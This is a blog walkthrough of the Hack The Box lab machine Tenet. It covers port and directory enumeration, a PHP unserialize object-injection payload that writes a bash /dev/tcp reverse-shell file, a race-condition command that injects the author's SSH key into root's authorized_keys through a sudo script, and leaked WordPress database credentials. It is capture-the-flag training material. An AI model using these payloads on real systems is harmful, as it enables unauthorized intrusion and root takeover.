HTB Tenet Walkthrough

In this weeks article we will walk through Hack The Box challange Tenet.

HTB Tenet Walkthrough

In this weeks article we will walk through Hack The Box challenge Tenet.

As always we start with a quick nmap scan!

Starting Nmap 7.91 ( ) at 2021-02-19 09:13 CET
Nmap scan report for
Host is up (0.043s latency).
Not shown: 998 closed ports
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 cc:ca:43:d4:4c:e7:4e:bf:26:f4:27:ea:b8:75:a8:f8 (RSA)
|   256 85:f3:ac:ba:1a:6a:03:59:e2:7e:86:47:e7:3e:3c:00 (ECDSA)
|_  256 e7:e9:9a:dd:c3:4a:2f:7a:e1:e0:5d:a2:b0:ca:44:a8 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 22.07 seconds

The nmap scan revales that port 80 is open which normally means a website is being hosted. Browsing to this port ( shows not much to be intrested in, the apache web server answer with the standard "ubuntu default apache web page".

A simple dirb scan session highlights a subfolder with an instance of wordpress.

┌──(in7rud3r㉿kali-vm-off)-[~/Dropbox/hackthebox/_10.10.10.223 - Tenet (lin)]
└─$ dirb                                         

DIRB v2.22    
By The Dark Raver

START_TIME: Fri Feb 19 09:17:57 2021
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt


GENERATED WORDS: 4612                                                          

---- Scanning URL: ----
+ (CODE:200|SIZE:10918)                                                                         
+ (CODE:403|SIZE:277)                                                                        
==> DIRECTORY:                                                                                  
---- Entering directory: ----
+ (CODE:301|SIZE:0)                                                                    
==> DIRECTORY:                                                                         
==> DIRECTORY:                                                                       
==> DIRECTORY:                                                                      
+ (CODE:405|SIZE:42)                                                                  
---- Entering directory: ----
+ (CODE:302|SIZE:0)                                                           
==> DIRECTORY:                                                                     
==> DIRECTORY:                                                                  
==> DIRECTORY:                                                                
+ (CODE:302|SIZE:0)                                                           
==> DIRECTORY:                                                                      
==> DIRECTORY:                                                                   
==> DIRECTORY:                                                                 
==> DIRECTORY:                                                                    
---- Entering directory: ----
+ (CODE:200|SIZE:0)                                                         
==> DIRECTORY:                                                               
==> DIRECTORY:                                                                
==> DIRECTORY:                                                               
---- Entering directory: ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
---- Entering directory: ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
---- Entering directory: ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
---- Entering directory: ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
---- Entering directory: ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
---- Entering directory: ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
---- Entering directory: ----
+ (CODE:302|SIZE:0)                                                   
+ (CODE:302|SIZE:0)                                                   
---- Entering directory: ----
+ (CODE:302|SIZE:0)                                                      
+ (CODE:302|SIZE:0)                                                      
---- Entering directory: ----
+ (CODE:200|SIZE:0)                                                 
---- Entering directory: ----
+ (CODE:200|SIZE:0)                                                  
---- Entering directory: ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
END_TIME: Fri Feb 19 09:45:55 2021

The Dirb command illimiates the existance of a  wordpress site which seems it's misconfigured, but probably the styles and the resource answer on a different domain and, in fact, navigating some link it's clear that the domain of the portal is tenet.htb.

If we configure the /etc/hosts file with the right value, the portal seems to answer in the right way.

Suddenly I end up on a page where the content gives me some more information on the right route to go with the rest of my attack.

Well, to be sure, I retake a new dirb session, this time pointing the domain (tenet.htb) in order to identify some routes no founded on the portal navigating the IP Address, but nothing comes out.I lost a lot of time searching  for the sator.php backed up file.

Considering my past experience with the other HTB BOX, I chose to search for subdomains. I described this activity in detail in other articles, I use dnsmasq to provide the specific scan, in order to allow the subdomain to be addressed to a specific IP address. First of all, change the /etc/dnsmasq.conf file with the target machine you want to scan and your IP address for the listener (I suppose you have already instaled it).


And modify the /etc/resolv.conf in order to configure your machine as the default DNS server.


Start the service:

┌──(in7rud3r㉿kali-muletto)-[~/Dropbox/hackthebox/_10.10.10.223 - Tenet (lin)]
└─$ sudo systemctl restart dnsmasq.service                                                                               4 ⨯
┌──(in7rud3r㉿kali-muletto)-[~/Dropbox/hackthebox/_10.10.10.223 - Tenet (lin)]
└─$ sudo systemctl status dnsmasq.service
● dnsmasq.service - dnsmasq - A lightweight DHCP and caching DNS server
     Loaded: loaded (/lib/systemd/system/dnsmasq.service; disabled; vendor preset: disabled)
     Active: active (running) since Sat 2021-02-20 11:21:39 CET; 7s ago
    Process: 20911 ExecStartPre=/etc/init.d/dnsmasq checkconfig (code=exited, status=0/SUCCESS)
    Process: 20919 ExecStart=/etc/init.d/dnsmasq systemd-exec (code=exited, status=0/SUCCESS)
    Process: 20928 ExecStartPost=/etc/init.d/dnsmasq systemd-start-resolvconf (code=exited, status=0/SUCCESS)
   Main PID: 20927 (dnsmasq)
      Tasks: 1 (limit: 4550)
     Memory: 1.2M
        CPU: 51ms
     CGroup: /system.slice/dnsmasq.service
             └─20927 /usr/sbin/dnsmasq -x /run/dnsmasq/ -u dnsmasq -7 /etc/dnsmasq.d,.dpkg-dist,.dpkg-old,.dpkg-n>

Feb 20 11:21:38 kali-muletto systemd[1]: Starting dnsmasq - A lightweight DHCP and caching DNS server...
Feb 20 11:21:39 kali-muletto dnsmasq[20927]: started, version 2.84rc2 cachesize 150
Feb 20 11:21:39 kali-muletto dnsmasq[20927]: compile time options: IPv6 GNU-getopt DBus no-UBus i18n IDN2 DHCP DHCPv6 no-Lua>
Feb 20 11:21:39 kali-muletto dnsmasq[20927]: reading /etc/resolv.conf
Feb 20 11:21:39 kali-muletto dnsmasq[20927]: ignoring nameserver - local interface
Feb 20 11:21:39 kali-muletto dnsmasq[20927]: read /etc/hosts - 6 addresses
Feb 20 11:21:39 kali-muletto systemd[1]: Started dnsmasq - A lightweight DHCP and caching DNS server.

And scan for subfolders:

┌──(in7rud3r㉿kali-muletto)-[~/Dropbox/hackthebox/_10.10.10.223 - Tenet (lin)]
└─$ wfuzz -c -w /usr/share/dnsrecon/subdomains-top1mil-5000.txt -u http://FUZZ.tenet.htb --hl 375
 /usr/lib/python3/dist-packages/wfuzz/ UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
* Wfuzz 3.1.0 - The Web Fuzzer                         *

Target: http://FUZZ.tenet.htb/
Total requests: 5000

ID           Response   Lines    Word       Chars       Payload                                                     

000000001:   301        0 L      0 W        0 Ch        "www"                                                       
000000690:   400        12 L     53 W       442 Ch      "gc._msdcs"                                                 
000001176:   301        0 L      0 W        0 Ch        "WWW"                                                       

Total time: 0
Processed Requests: 2686
Filtered Requests: 2683
Requests/sec.: 0

 /usr/lib/python3/dist-packages/wfuzz/ UserWarning:Fatal exception: Pycurl error 6: Could not resolve host: m..tenet.htb

My session stops unexpectedly...

Remember to restore your files.

Coming back to search for the sator back-up file, I discover something interesting: the sator.php file on the domain (tenet.htb) doesn't respond like the same portal responds using the address IP of the machine.

http://tenet.htb/sator.php (404 HTTP code - Not found) (200 HTTP code - OK)

The output from the address IP is:

[+] Grabbing users from text file
[] Database updated

And I found the back-up file too:

┌──(in7rud3r㉿kali-muletto)-[~/Dropbox/hackthebox/_10.10.10.223 - Tenet (lin)]
└─$ curl

class DatabaseExport
        public $user_file = 'users.txt';
        public $data = '';

        public function update_db()
                echo '[+] Grabbing users from text file <br>';
                $this-> data = 'Success';

        public function __destruct()
                file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
                echo '[] Database updated <br>';
        //      echo 'Gotta get this working properly...';

$input = $_GET['arepo'] ?? '';
$databaseupdate = unserialize($input);

$app = new DatabaseExport;
$app -> update_db();


From the source code is clear that should be a user.txt file too on the portal.

┌──(in7rud3r㉿kali-muletto)-[~/Dropbox/hackthebox/_10.10.10.223 - Tenet (lin)]
└─$ curl          

I reproduce the same environment on my machine to understand the behaviour of the page. When I call the page, the user.txt file is created. Analyzing the code seems that the page takes ingress the "arepo" variable in querystring and unserialize as part of code that can be used to complete it. When the class destroy itself create the users.txt file using the data contained in the "data" field of the DatabaseExport class. It would appear that it can be exploited, but to understand how I have to go deeper on the unserialize and serialize method of the php language.

PHP: unserialize - Manual
PHP: serialize - Manual

To try it, I created a test php file that generates simple code.

class foo
    function do_foo()
        echo "Doing foo."; 
$bar = new foo;

This code seems to have worked:

Now, need to understand how to exploit this in the right way, searching on the internet for "php unserialize exploit", I found two interesting links:

PHP Object Injection | OWASP
PHP Object Injection on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.
Remote code execution via PHP [Unserialize] - NotSoSecure
In this blogpost NotSoSecure explores how in PHP the unserialize function can lead to remote code execution by deserializing untrusted data

A reverse shell is my target now. The idea is to replace the user.txt file with a php file that I can launch using the portal that activates a reverse shell. Let me write down the code, serialize it and pass it to the portal to activate the exploit.

class DatabaseExport {
        public $user_file = 'rshell.php';
        public $data = '<?php exec("/bin/bash -c \'bash -i >& /dev/tcp/ 0>&1\'");';
        public function update_db() { }

print(serialize(new DatabaseExport()));

But, before, I can try it on my machine I must generate the payload:

┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.10.223 - Tenet (lin)/attack/php]
└─$ curl

O:14:"DatabaseExport":2:{s:9:"user_file";s:10:"rshell.php";s:4:"data";s:72:"<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/ 0>&1'");";}

Encode it to launch the URL and launch it:

And check if it works:

┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.10.223 - Tenet (lin)/attack/php]
└─$ ls -la
total 24
drwxr-xr-x 2 in7rud3r in7rud3r 4096 Feb 20 13:10 .
drwxr-xr-x 3 in7rud3r in7rud3r 4096 Feb 20 12:02 ..
-rw-r--r-- 1 in7rud3r in7rud3r  238 Feb 20 13:09 generator.php
-rw-r--r-- 1 in7rud3r in7rud3r   72 Feb 20 13:10 rshell.php
-rw-r--r-- 1 in7rud3r in7rud3r  637 Feb 20 12:02 sator.php
-rw-r--r-- 1 in7rud3r in7rud3r    7 Feb 20 13:10 users.txt
┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.10.223 - Tenet (lin)/attack/php]
└─$ cat rshell.php                          
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/ 0>&1'");

And it seems to work; try on the tenet machine, now! Reproduce the steps and launch the reverse shell calling the URL after activated the listener on the local machine.

┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.10.223 - Tenet (lin)/attack/php]
└─$ nc -lvp 4444
listening on [any] 4444 ...
connect to [] from tenet.htb [] 63836
bash: cannot set terminal process group (1675): Inappropriate ioctl for device
bash: no job control in this shell
www-data@tenet:/var/www/html$ whoami

This output is promising. I try immediately to read the user file on the unique user on the home folder, but, I have no access to it.

From here, we proceed in a way that I consider unconventional because I skipped a step; my next step is to raise the privileges to become root directly and recover both flags. The user who performs this step is the one with whom the user flag is recovered, in order to force who approach the CTF to exploit two different users. In this case, however, the user with whom the foothold was passed, is vulnerable to the elevation of privileges to root. I don't know if it is desired, but this allows you to bypass a passage of the CTF itself, still recovering the two flags. But let's move on.

Checking for the first simple hacking activity on this user I discover that I can execute a script as root without specifying any password.

www-data@tenet:/var/www/html$ sudo -l
sudo -l
Matching Defaults entries for www-data on tenet:
    env_reset, mail_badpass,

User www-data may run the following commands on tenet:
    (ALL : ALL) NOPASSWD: /usr/local/bin/

Looking at the file to understand what the script does:


checkAdded() {
        sshName=$(/bin/echo $key | /usr/bin/cut -d " " -f 3)
        if [[ ! -z $(/bin/grep $sshName /root/.ssh/authorized_keys) ]]; then
                /bin/echo "Successfully added $sshName to authorized_keys file!"
                /bin/echo "Error in adding $sshName to authorized_keys file!"

checkFile() {
        if [[ ! -s $1 ]] || [[ ! -f $1 ]]; then
                /bin/echo "Error in creating key file!"
                if [[ -f $1 ]]; then /bin/rm $1; fi
                exit 1

addKey() {
        tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX)
        (umask 110; touch $tmpName)
        /bin/echo $key >>$tmpName
        checkFile $tmpName
        /bin/cat $tmpName >>/root/.ssh/authorized_keys
        /bin/rm $tmpName

key="ssh-rsa AAAAA3NzaG1yc2GAAAAGAQAAAAAAAQG+AMU8OGdqbaPP/Ls7bXOa9jNlNzNOgXiQh6ih2WOhVgGjqr2449ZtsGvSruYibxN+MQLG59VkuLNU4NNiadGry0wT7zpALGg2Gl3A0bQnN13YkL3AA8TlU/ypAuocPVZWOVmNjGlftZG9AP656hL+c9RfqvNLVcvvQvhNNbAvzaGR2XOVOVfxt+AmVLGTlSqgRXi6/NyqdzG5Nkn9L/GZGa9hcwM8+4nT43N6N31lNhx4NeGabNx33b25lqermjA+RGWMvGN8siaGskvgaSbuzaMGV9N8umLp6lNo5fqSpiGN8MQSNsXa3xXG+kplLn2W+pbzbgwTNN/w0p+Urjbl root@ubuntu"

Interestingly, it appears to add a public key to the root user's authorized_keys file, so that anyone who owns the private key can be accessed via ssh. If I could enter my own key it would be great. The script saves the public key in a temporary file named ssh-XXXXXXXX, checks the file before processing it, and then moves the contents from the temporary file to the authorized_keys file. Nothing could be simpler; the idea is to take action on the file as soon as it is created, modify the content with a personal public key and let the script do the rest. Well, in the meantime, let's get our key pair ready.

└─$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/in7rud3r/.ssh/id_rsa): 
Created directory '/home/in7rud3r/.ssh'.
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /home/in7rud3r/.ssh/id_rsa
Your public key has been saved in /home/in7rud3r/.ssh/
The key fingerprint is:
SHA256:cdqiOVNuNPYA5aIcs+St8SC4+LKH/rU9qYEl90wPsys in7rud3r@kali-muletto
The key's randomart image is:
+---[RSA 3072]----+
|        .        |
|       o         |
|    + o o .      |
| . + * o =       |
|. ..Bo.+S .      |
|.. .==+B==       |
|o. ..o*++..      |
|o.. .E+*.        |
|o=o. ooo.        |

└─$ cat /home/in7rud3r/.ssh/                                                                                 130 ⨯
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCkDdV5qWpSZ2sRwje7g80X5H/ZiUEJpHvCWDwCW9HX/+UC3X0QeGDrYfOWnnoIOOJbChrFJx8yD2xnLfMFacDV9BDYBl9AXCDoDqLeREtG+qMIoeeykaXJCwUCgPcxRRpV0t+L1ARh+V8enQZG/c3AsCkJ3Ai8Hvuj842n4qjy4miT7UcUoP9AaFqaJ8MhEwP0xX+R+R2VuTW+q28NGf78QKqL5li6RImMPvkxNnA4wcD4nR9J5SEKaCbptDWgAsFwoSWILKyyv0vpv0o+h18NUXwwlOBFP2IavGG+cPyrtKQK+9BmN1BmhbGX1S7Q6/wcGiN4g+tVofvNuuDARfGDZ7h8sClXXFYy9Vr1CrRmyJVJtuBShX860XJQnen2DWe0ev0CJkSwWrjOYlrekEDoyu8B6dpCss5jxW4ta/JBvK63BWRZiD7VTrTzAlZan5FN+Sghz9mOZ3Mltrvb+HybageNJAbCsySbffQc7EUA34/pWphWCdqe+g95igInQ28= in7rud3r@kali-muletto

Well, the script to activate the exploit should be something like this:

(while [ ! -f /tmp/ssh-* ]; do sleep 0; done && echo 'HERE MY PUBLIC KEY' > /tmp/ssh-*) & sudo ./

The bash executes two commands concurrently, the second is the script found on the target machine that inserts the public key in the authorized_key file of the root user (sudo ./ The first command, wait for a file on the tmp folder by the name that starts with "ssh-", when it found it write my public key on it. Let me try.

www-data@tenet:/usr/local/bin$ (while [ ! -f /tmp/ssh-* ]; do sleep 0; done && echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCkDdV5qWpSZ2sRwje7g80X5H/ZiUEJpHvCWDwCW9HX/+UC3X0QeGDrYfOWnnoIOOJbChrFJx8yD2xnLfMFacDV9BDYBl9AXCDoDqLeREtG+qMIoeeykaXJCwUCgPcxRRpV0t+L1ARh+V8enQZG/c3AsCkJ3Ai8Hvuj842n4qjy4miT7UcUoP9AaFqaJ8MhEwP0xX+R+R2VuTW+q28NGf78QKqL5li6RImMPvkxNnA4wcD4nR9J5SEKaCbptDWgAsFwoSWILKyyv0vpv0o+h18NUXwwlOBFP2IavGG+cPyrtKQK+9BmN1BmhbGX1S7Q6/wcGiN4g+tVofvNuuDARfGDZ7h8sClXXFYy9Vr1CrRmyJVJtuBShX860XJQnen2DWe0ev0CJkSwWrjOYlrekEDoyu8B6dpCss5jxW4ta/JBvK63BWRZiD7VTrTzAlZan5FN+Sghz9mOZ3Mltrvb+HybageNJAbCsySbffQc7EUA34/pWphWCdqe+g95igInQ28= in7rud3r@kali-muletto' > /tmp/ssh-*) & sudo ./
<r@kali-muletto' > /tmp/ssh-*) & sudo ./
[1] 12325
Successfully added root@ubuntu to authorized_keys file!

└─$ ssh root@tenet.htb       
Enter passphrase for key '/home/in7rud3r/.ssh/id_rsa': 
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-129-generic x86_64)

 * Documentation:
 * Management:
 * Support:

  System information as of Sat Feb 20 17:27:24 UTC 2021

  System load:  0.0                Processes:             174
  Usage of /:   15.2% of 22.51GB   Users logged in:       0
  Memory usage: 10%                IP address for ens160:
  Swap usage:   0%

53 packages can be updated.
31 of these updates are security updates.
To see these additional updates run: apt list --upgradable

Failed to connect to Check your Internet connection or proxy settings

Last login: Sat Feb 20 16:31:09 2021 from
root@tenet:~# whoami
root@tenet:~# cat /home/neil/user.txt && cat /root/root.txt

Well, I could be satisfied, but the fact of having obtained the user flag with the root user, sounds strange to me, so, despite having finished the BOX, I still remain to try to understand this strange passage. So, after a while I go around the various folders and look for other clues, I run into the wordpress configuration file, where inside I read the following:

/** MySQL database username */
define( 'DB_USER', 'neil' );

/** MySQL database password */
define( 'DB_PASSWORD', 'Opera2112' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

I haven't tried, but I'm sure I also found the password to log in as a neil user.
That's all folks, enjoy your hacking activities and see you on the next box.

This weeks images were provided by Treedeo from the "My Space" series of acrylic colour.